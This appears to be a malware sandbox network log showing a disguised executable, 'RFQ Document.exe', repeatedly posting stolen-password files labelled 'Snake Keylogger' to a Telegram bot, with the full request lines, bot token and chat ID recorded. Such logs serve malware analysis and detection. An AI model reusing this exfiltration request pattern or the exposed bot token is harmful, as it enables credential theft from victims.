2021-09-28 05:59:00 UTC	217	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 39 61 66 66 63 66 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255d9affcf6Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:00 UTC	218	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:00 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:00 UTC	218	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 32 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 34 30 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12723,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808740,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
137	192.168.2.4	49936	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:00 UTC	219	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255d9cefbed Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:00 UTC	219	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 39 63 65 66 62 65 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255d9cefbedContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:01 UTC	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:01 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:01 UTC	220	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 32 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 34 30 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12724,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808740,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
138	192.168.2.4	49937	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:01 UTC	220	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255d9edf9e7 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:01 UTC	221	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 39 65 64 66 39 65 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255d9edf9e7Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:01 UTC	221	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:01 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:01 UTC	221	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 32 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 34 31 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12725,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808741,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
139	192.168.2.4	49938	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:01 UTC	222	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255da0a972b Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:01 UTC	222	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 61 30 61 39 37 32 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255da0a972bContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:01 UTC	223	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:01 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:01 UTC	223	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 32 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 34 31 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12726,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808741,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.4	49788	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:23 UTC	22	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255c383480a Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:23 UTC	22	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 33 38 33 34 38 30 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255c383480aContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:23 UTC	22	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:23 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:23 UTC	23	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 35 39 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 30 33 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12593,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808703,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
140	192.168.2.4	49939	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:01 UTC	223	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255da226dbb Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:01 UTC	224	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 61 32 32 36 64 62 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255da226dbbContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:01 UTC	224	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:01 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:01 UTC	224	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 32 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 34 31 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12727,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808741,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
141	192.168.2.4	49940	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:01 UTC	225	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255da416c4b Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:01 UTC	225	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 61 34 31 36 63 34 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255da416c4bContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:01 UTC	226	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:01 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:01 UTC	226	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 32 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 34 31 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12728,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808741,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
142	192.168.2.4	49941	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:01 UTC	227	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255da56e2bf Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:01 UTC	227	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 61 35 36 65 32 62 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255da56e2bfContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
